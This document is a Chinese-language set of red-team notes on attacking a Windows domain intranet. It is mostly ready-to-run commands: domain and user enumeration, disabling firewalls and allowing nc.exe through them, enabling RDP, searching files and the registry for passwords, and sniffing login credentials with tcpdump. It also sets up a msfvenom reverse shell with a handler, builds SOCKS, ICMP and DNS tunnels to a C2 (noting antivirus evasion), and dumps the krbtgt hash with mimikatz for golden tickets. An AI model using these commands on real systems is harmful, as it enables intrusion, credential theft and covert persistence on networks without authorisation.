判断域环境

查看网卡 如果存在主dns后缀则很有可能存在域

ipconfig /all

系统信息内会包含域 没域会显示WORDGROUP

systeminfo

查看网络配置 没域会显示WORDGROUP

net config workstation

通过时间查看

net time /domain

查看域控机器名称

nltest /dclist:de1ay

可以看到启动进程的用户 可能有域用户

tasklist /v

信息搜集

查看软件、版本

wmic product get name,version

看进程

tasklist /svc

查看域用户

net user /domain

查看防火墙配置

netsh firewall show config

查看域用户详情

net user name /domain

查看开机信息

net statistics workstation

查看计划任务

schtasks /query /fo list /v

查看域控主机名

nltest /DCLIST:域名
nslookup -type=SRV _ladp._tcp

查询在线用户

query user || qwinsta

查看分享情况

net share

windows 2003之前的版本关闭防火墙

netsh firewall set opmode disable

win2003之后的版本关闭防火墙

netsh advfirewall set allprofiles state off

查看防火墙配置

netsh firewall show config

2003及之前的版本,允许指定的程序进行全部的连接

netsh firewall add allowedprogram c:\nc.exe "allownc" enable

2003之后的版本,允许指定的程序进行全部的连接

netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\nc.exe"

允许指定程序退出

netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \nc.exe"

查看远程桌面是否开启

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections  #1关闭, 0开启 
tasklist /svc | find "TermService" # 找到对应服务进程的 PID
netstat -ano | find "3389" # 找到进程对应的端口号

开启远程桌面服务并放行

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

其他系统开启3389端口

1、在2003机器上
wmic path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1
2、在server2008和server 2012
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t
REG_DWORD /d 00000000 /f
#开启
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 11111111 /f
#关闭

查看当前保存的登录凭证

cmdkey /l

查看最近打开的文档

dir %APPDATA%\Microsoft\Windows\Recent

域环境信息收集

通过这条命令我们能够拿到当前域用户的SID(在域中并不是通过用户名来确认你的身份,而是通过SID)

whoami /all

查询域管

net group "Domain Admins" /domain
net group
net group "Domain Computers" /domain //域内机器
net group "Domain Controllers" /domain //域控制器
net group "Domain Users" /domain //域用户
net group /domain //查看域中的所有组

查询域内时间 执行计划任务时会用到

net localgroup administrators /domain

查看主域控器

netdom query pdc

查看域信任的信息 为什么要查看域信任信息呢?因为在内网域中存在很多域,例如子域或者主域

nltest /domain_trusts

查看密码策略

net accounts /domain

内网存活探测

1.windows下ping

for /L %I in (1,1,255) do @ping -w 1 -n 1 10.0.0.%I | find /i "ttl="

2.Linux下ping

for i in 192.168.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done

3.Nbtscan

https://github.com/charlesroelli/nbtscan

http://www.unixwiz.net/tools/nbtscan.html#download

基于netbios协议探测主机

Nbtscan.exe 10.10.10.1/24

4.ptscan

https://github.com/phantom0301/PTscan

pyinstaller -F -w ptscan.py
python PTscan.py -h 10.10.10 -p 80,8080,8888 -m 50 -t 10 -n -b

5.fscan

https://github.com/shadow1ng/fscan

fscan.exe -h 10.0.0.0/24 -o 10_0_0_0.txt

域内用户查询

net user /domain
wmic useraccount get /all
dsquery user
net localgroup administrators #查看是否有域用户组
net group ""domian admins

内网中的协议

1.NTLM

NTLM是一种认证协议,存在NTLM v1和HTLM v2两个版本
Windows登陆认证时的流程如下:
用户输入密码 -> winlogon.exe -> 接收用户输入的密码 -> 保存为密文 -> lsass.exe -> 登陆成功
所以通过创建lsass.exe的转储文件可以拿到机器登陆过的用户hash

Windows 2008以下可以使用非管理员用户进行hash传递
Windows 2008以上不可以使用非管理员用户进行hash传递

2.Kerberos

Kerberos是一种认证协议和NTLM是不同的,他的认证在域控端(KDC)上认证

● KDC为密钥分发中心,主要用于Kerberos请求,部分是AS负责认证,部分是TGS负责票据授予
● AS为身份验证服务,主要用于接收客户端验证身份的请求
● TGS为票据授予服务,当接收到客户端身份验证请求并且认证成功之后会向客户端发放相应的服务票据
● kerberos默认88端口

在内网内网端口时一定要留意88端口,如果开放了88端口那么80%的几率是域控或者是LDAP服务

使用ip连接是ntml协议

net use \\10.0.0.1 /u:red\administrator Admini123456

使用主机名是kerberos协议

net use \\owa /u:red\administrator Admini123456

3.LDAP

ldap协议默认走的是389端口 可以使用这个软件连接DC的LDAP机器

https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer

image-20241108094847612

密码搜集

cs里的插件能自动搜集很多软件的密码 这里记录一些命令

检索文件绝对路径

dir /s /b c:|findstr "index.php"

查询文件内的配置信息

findstr /c:"user=" /c:"pass=" /c:"uid=" /c:"pwd=" /si *.ini *.conf *.jsp *.php web.config

linux下搜索

find ./ -name *.php
find ./ -name *.php | xargs egrep -i "user|pass"

假设拿到shell 不知道数据库的加密方式 解不开hash 可以尝试抓跟网站交互的数据包

tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.1.108' | egrep -i 'login=|password=' --color=auto --line-buffered -B20

查注册表(作用不大)

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f username /t REG_SZ /s
reg query HKCU /f username /t REG_SZ /s

屏幕录屏

shell psr /start /output c:\Windows\Logs\test.zip /gui 0
shell psr /stop #停止

代理隧道

1.netsh

端口转发

netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口

netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80

查看规则

netsh interface portproxy show all

删除规则

netsh interface portproxy delete v4tov4 listenport=7777

删除所有规则

netsh interface portproxy reset

msf反弹shell

填写能够直接跟我们交互的域内机器ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.80 lport=4455 -f exe > r.exe
端口转发
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.30.135 connectport=4455

> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.30.135
> set lport 4455
> exploit

2.Metasploit Portfwd

把自己的3389转到192.168.0.142的3389
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.0.142
查看所有转发
portfwd list
删除所有转发
portfwd flush

3.Neo-reGeorg

reGeorg是一个能穿透内网的工具,基于socks5而且支持的脚本众多,可以说是内网穿透神奇,但是作为使用率众多的软件,杀软都会拦截,使用还需要做免杀处理现有一个项目是reGeorg修改而来,而且做了加密处理,脚本也免杀项目地址:https://github.com/L-codes/Neo-reFeorg

服务器运行
python3 neoreg.py generate -k moonsec

在neoreg_server目录下生成了很多脚本,这些脚本都可以拿来做转发 然后选择对应的脚本上传到B服务器的Web目录下,访问一下没有报错的话就是正常的

python3 neoreg.py -k moonsec -u http://192.168.0.155/tunnel.aspx

此时我们设置socks5代理127.0.0.1:1080就是B的网络,那么也就可以顺利访问到C网段

4.ssh

搭建socks5

ssh -qTfnN -D 7070 root@8.210.55.154

● -C:压缩模式
● -D:本地的端口
● -q:安静模式
● -T:禁止远程分配终端
● -n:关闭标准输入
● -N:不执行远程命令
● -f:后台运行

本地转发

ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN
ssh -L 3307:localhost:3306 moonsec@192.168.0.139 -fN

此时访问本地的6666端口就能够访问到10.10.10.155的80端口

5.ew

由于太牛逼了 作者不更新了

https://github.com/idlefire/ew

本地开启socks服务
ew_for_Win.exe -s ssocksd -l 8888

服务端
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
客户端连接c2
ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024

6.Tunna

感觉Neo-reGeorg是他的升级版

https://github.com/SECFORCE/Tunna

通过192.168.0.139/conn.aspx将10.10.10.155的3389端口转发到本地的4321端口

python2 proxy.py -u http://192.168.0.139/conn.aspx -l 4321 -a 10.10.10.155 -r 3389 -v

7.ptunnel

以前叫做Ptunnel是老牌软件,现在更新名字为pingtunnel

新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发)

老版本介绍:https://github.com/utoni/ptunnel-ng

yum -y install byacc 
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

客户端设置密码
ptunnel -x 1234

服务端连接
ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234

● -p:服务端IP
● -lp:本地端口
● -da:目标的IP
● -dp:目标的端口
● -x:密码

8.dns2tcp

DNS是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在网络世界中DNS是必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现远控控制、文件传输等操作dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发它分为两个部分,服务端和客户端服务端运行在Linux服务器上客户端可以运行在Linux和Windows上编译完成在服务端的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc

image-20241112182818809

配置一个域名,增加一条A记录和NS记录
此时A记录是dns.xxx.com指向的121.5.51.111(c2),所以就会访问到121.5.51.111服务器

c2使用ubantu18
apt-get update
sudo apt-get install dns2tcp
修改dns2tcp配置文件/etc/dns2tcpd.conf
● listen=127.0.0.1修改成listen=0.0.0.0
● user = root
● key = moonsec
● domain = dns2tcp.8sq.cc
这个domain就是NS解析的记录,然后就可以保存了
服务端启动
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
如果出现错误可能端口被占用,查出端口的进程id然后使用kill结束就可以启动了
netstat -anp | grep 53
kill 进程ID
阿里云的话会有一个服务占用,并且Kill不掉,阿里云默认服务关闭
systemctl stop systemd-resolve

黄金票据

https://xz.aliyun.com/t/15713

获取了域控密钥分发账户KRBTGT 的权限 利用KRBTGT 的hash即可制作黄金票据

1.KRBTGT的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限

获取域的sid值(去掉最后的-500,500表示为administrator用户)

whoami /user

查看所处域

net config workstation

获取hash与sid

mimikatz.exe "log a.txt" "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "exit"